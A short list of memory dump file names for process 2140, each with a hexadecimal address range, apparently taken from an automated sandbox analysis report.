memory/2140-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

memory/2140-5-0x000000001B390000-0x000000001B672000-memory.dmp

memory/2140-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

memory/2140-7-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

memory/2140-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

memory/2140-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

memory/2140-10-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

memory/2140-11-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

memory/2140-12-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp